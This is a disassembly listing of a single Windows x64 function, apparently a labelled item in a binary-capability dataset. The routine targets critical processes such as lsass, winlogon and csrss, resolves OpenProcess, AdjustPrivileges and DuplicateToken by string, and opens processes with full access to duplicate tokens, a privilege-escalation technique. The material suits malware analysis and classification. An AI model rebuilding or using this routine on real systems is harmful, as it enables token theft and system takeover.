Function at 0x140011505
Capabilities:
Terminate process

Disassembly:
jmp 0x140019e10
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0xa58
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x1c6
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0xa78]
mov rax, qword [0x140036040]
xor rax, rbp
mov qword [rbp + 0xa00], rax
lea rcx, [0x14003d0ff]
call fcn.140011a05
call fcn.140011708
mov qword [rbp + 8], rax
lea rdx, str.winlogon.exe
lea rcx, [rbp + 0x30]
call fcn.14001135c
nop
lea rdx, str.csrss.exe
lea rcx, [rbp + 0x58]
call fcn.14001135c
nop
lea rdx, str.svchost.exe
lea rcx, [rbp + 0x80]
call fcn.14001135c
nop
lea rdx, str.lsass.exe
lea rcx, [rbp + 0xa8]
call fcn.14001135c
nop
lea rdx, str.spoolsv.exe
lea rcx, [rbp + 0xd0]
call fcn.14001135c
nop
lea rdx, str.LsaIso.exe
lea rcx, [rbp + 0xf8]
call fcn.14001135c
nop
mov dword [rbp + 0x134], 6
mov dword [rbp + 0x154], 0
mov qword [rbp + 0x178], 0
mov qword [rbp + 0x198], 0
mov qword [rbp + 0x1b8], 0
lea rax, [rbp + 0x6c8]
mov qword [rbp + 0x708], rax
lea rdx, str.OpenProcess
mov rcx, qword [rbp + 0x708]
call fcn.14001110e
mov qword [rbp + 0x9f8], rax
mov rcx, qword [rbp + 0x9f8]
call fcn.1400113e8
mov qword [rbp + 0x1d8], rax
lea rax, [rbp + 0x728]
mov qword [rbp + 0x768], rax
lea rdx, str.OpenProcessTokenAdjustPrivilegesToken
mov rcx, qword [rbp + 0x768]
call fcn.140011384
mov qword [rbp + 0x9f8], rax
mov rcx, qword [rbp + 0x9f8]
call fcn.1400113e8
mov qword [rbp + 0x1f8], rax
lea rax, [rbp + 0x788]
mov qword [rbp + 0x7c8], rax
lea rdx, str.DuplicateTokenDuplicateObject
mov rcx, qword [rbp + 0x7c8]
call fcn.1400114a6
mov qword [rbp + 0x9f8], rax
mov rcx, qword [rbp + 0x9f8]
call fcn.1400113e8
mov qword [rbp + 0x218], rax
lea rax, [rbp + 0x7e8]
mov qword [rbp + 0x828], rax
lea rdx, str.Close
mov rcx, qword [rbp + 0x828]
call fcn.1400114ab
mov qword [rbp + 0x9f8], rax
mov rcx, qword [rbp + 0x9f8]
call fcn.1400113e8
mov qword [rbp + 0x238], rax
lea rax, [rbp + 0x848]
mov qword [rbp + 0x888], rax
lea rdx, str.OpenProcess
mov rcx, qword [rbp + 0x888]
call fcn.14001110e
mov qword [rbp + 0x9f8], rax
mov rcx, qword [rbp + 0x9f8]
call fcn.140011767
mov dword [rbp + 0x254], eax
lea rax, [rbp + 0x8a8]
mov qword [rbp + 0x8e8], rax
lea rdx, str.OpenProcessTokenAdjustPrivilegesToken
mov rcx, qword [rbp + 0x8e8]
call fcn.140011384
mov qword [rbp + 0x9f8], rax
mov rcx, qword [rbp + 0x9f8]
call fcn.140011767
mov dword [rbp + 0x274], eax
lea rax, [rbp + 0x908]
mov qword [rbp + 0x948], rax
lea rdx, str.DuplicateTokenDuplicateObject
mov rcx, qword [rbp + 0x948]
call fcn.1400114a6
mov qword [rbp + 0x9f8], rax
mov rcx, qword [rbp + 0x9f8]
call fcn.140011767
mov dword [rbp + 0x294], eax
lea rax, [rbp + 0x968]
mov qword [rbp + 0x9a8], rax
lea rdx, str.Close
mov rcx, qword [rbp + 0x9a8]
call fcn.1400114ab
mov qword [rbp + 0x9f8], rax
mov rcx, qword [rbp + 0x9f8]
call fcn.140011767
mov dword [rbp + 0x2b4], eax
mov qword [rbp + 0x2d8], 0
mov rcx, qword [rbp + 0x1f8]
call fcn.14001129e
mov r9d, dword [rbp + 0x274]
lea r8, [rbp + 0x2d8]
mov edx, 0x20
mov rcx, 0xffffffffffffffff
call fcn.14001133e
mov dword [rbp + 0x154], eax
cmp dword [rbp + 0x154], 0
jge 0x14001a177
cmp dword [rbp + 0x154], 0xc0000022
jne 0x14001a177
mov rax, qword [rbp + 8]
mov eax, dword [rax]
mov rcx, qword [rbp + 8]
add rcx, rax
mov rax, rcx
mov qword [rbp + 8], rax
mov rax, qword [rbp + 0x2d8]
mov qword [rbp + 0x9c8], rax
lea r9, [fcn.1400118cf]
mov r8d, 6
mov edx, 0x28
lea rcx, [rbp + 0x30]
call fcn.140011299
mov rax, qword [rbp + 0x9c8]
jmp 0x14001a4f8
mov r8d, 1
mov rdx, qword [rbp + 0xa30]
mov rcx, qword [rbp + 0x2d8]
call fcn.140011019
mov rcx, qword [rbp + 0x238]
call fcn.14001129e
mov edx, dword [rbp + 0x2b4]
mov rcx, qword [rbp + 0x2d8]
call fcn.14001150a
mov rax, qword [rbp + 8]
movzx eax, word [rax + 0x38]
test eax, eax
je 0x14001a4ae
mov rax, qword [rbp + 8]
add rax, 0x40
movsxd rcx, dword [rbp + 0x134]
imul rcx, rcx, 0x28
lea rcx, [rbp + rcx + 0x30]
mov r8, rax
mov rdx, rcx
lea rcx, [rbp + 0x30]
call fcn.140011758
movsxd rcx, dword [rbp + 0x134]
imul rcx, rcx, 0x28
lea rcx, [rbp + rcx + 0x30]
cmp rax, rcx
je 0x14001a206
mov dword [rbp + 0x9f4], 1
jmp 0x14001a210
mov dword [rbp + 0x9f4], 0
mov eax, dword [rbp + 0x9f4]
mov dword [rbp + 0x2f4], eax
cmp dword [rbp + 0x2f4], 0
jne 0x14001a4ae
mov rax, qword [rbp + 8]
mov rax, qword [rax + 0x50]
mov qword [rbp + 0x318], rax
mov qword [rbp + 0x320], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x348]
call fcn.140011343
mov dword [rbp + 0x398], 0xc
mov dword [rbp + 0x39c], 2
mov byte [rbp + 0x3a0], 1
mov byte [rbp + 0x3a1], 0
mov dword [rbp + 0x348], 0x30
mov qword [rbp + 0x350], 0
mov qword [rbp + 0x358], 0
mov dword [rbp + 0x360], 0
mov qword [rbp + 0x368], 0
lea rax, [rbp + 0x398]
mov qword [rbp + 0x370], rax
mov rcx, qword [rbp + 0x1d8]
call fcn.14001129e
mov eax, dword [rbp + 0x254]
mov dword [rsp + 0x20], eax
lea r9, [rbp + 0x318]
lea r8, [rbp + 0x348]
mov edx, 0x400
lea rcx, [rbp + 0x178]
call fcn.140011302
mov dword [rbp + 0x154], eax
cmp dword [rbp + 0x154], 0
jge 0x14001a32e
cmp dword [rbp + 0x154], 0xc0000022
jne 0x14001a32e
mov rax, qword [rbp + 8]
mov eax, dword [rax]
mov rcx, qword [rbp + 8]
add rcx, rax
mov rax, rcx
mov qword [rbp + 8], rax
jmp 0x14001a4c2
mov rcx, qword [rbp + 0x1f8]
call fcn.14001129e
mov r9d, dword [rbp + 0x274]
lea r8, [rbp + 0x198]
mov edx, 0xb
mov rcx, qword [rbp + 0x178]
call fcn.14001133e
mov dword [rbp + 0x154], eax
cmp dword [rbp + 0x154], 0
jge 0x14001a38d
cmp dword [rbp + 0x154], 0xc0000022
jne 0x14001a38d
mov rax, qword [rbp + 8]
mov eax, dword [rax]
mov rcx, qword [rbp + 8]
add rcx, rax
mov rax, rcx
mov qword [rbp + 8], rax
jmp 0x14001a4c2
mov rcx, qword [rbp + 0x198]
call fcn.1400111c2
test eax, eax
je 0x14001a47e
mov rcx, qword [rbp + 0x218]
call fcn.14001129e
mov eax, dword [rbp + 0x294]
mov dword [rsp + 0x30], eax
lea rax, [rbp + 0x1b8]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 1
xor r9d, r9d
lea r8, [rbp + 0x348]
mov edx, 0xf01ff
mov rcx, qword [rbp + 0x198]
call fcn.140011014
mov dword [rbp + 0x154], eax
cmp dword [rbp + 0x154], 0
jge 0x14001a41a
cmp dword [rbp + 0x154], 0xc0000022
jne 0x14001a41a
mov rax, qword [rbp + 8]
mov eax, dword [rax]
mov rcx, qword [rbp + 8]
add rcx, rax
mov rax, rcx
mov qword [rbp + 8], rax
jmp 0x14001a4c2
mov rcx, qword [rbp + 0x238]
call fcn.14001129e
mov edx, dword [rbp + 0x2b4]
mov rcx, qword [rbp + 0x178]
call fcn.14001150a
mov edx, dword [rbp + 0x2b4]
mov rcx, qword [rbp + 0x198]
call fcn.14001150a
mov rax, qword [rbp + 0x1b8]
mov qword [rbp + 0x9e8], rax
lea r9, [fcn.1400118cf]
mov r8d, 6
mov edx, 0x28
lea rcx, [rbp + 0x30]
call fcn.140011299
mov rax, qword [rbp + 0x9e8]
jmp 0x14001a4f8
mov rcx, qword [rbp + 0x238]
call fcn.14001129e
mov edx, dword [rbp + 0x2b4]
mov rcx, qword [rbp + 0x178]
call fcn.14001150a
mov edx, dword [rbp + 0x2b4]
mov rcx, qword [rbp + 0x198]
call fcn.14001150a
mov rax, qword [rbp + 8]
mov eax, dword [rax]
mov rcx, qword [rbp + 8]
add rcx, rax
mov rax, rcx
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
cmp dword [rax], 0
jne 0x14001a1ae
mov ecx, dword [rbp + 0x154]
call qword [sym.imp.ucrtbased.dll_exit]
nop
lea r9, [fcn.1400118cf]
mov r8d, 6
mov edx, 0x28
lea rcx, [rbp + 0x30]
call fcn.140011299
nop
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x14002e840]
call fcn.140011870
mov rax, rdi
mov rcx, qword [rbp + 0xa00]
xor rcx, rbp
call fcn.1400114fb
lea rsp, [rbp + 0xa18]
pop rdi
pop rbp
ret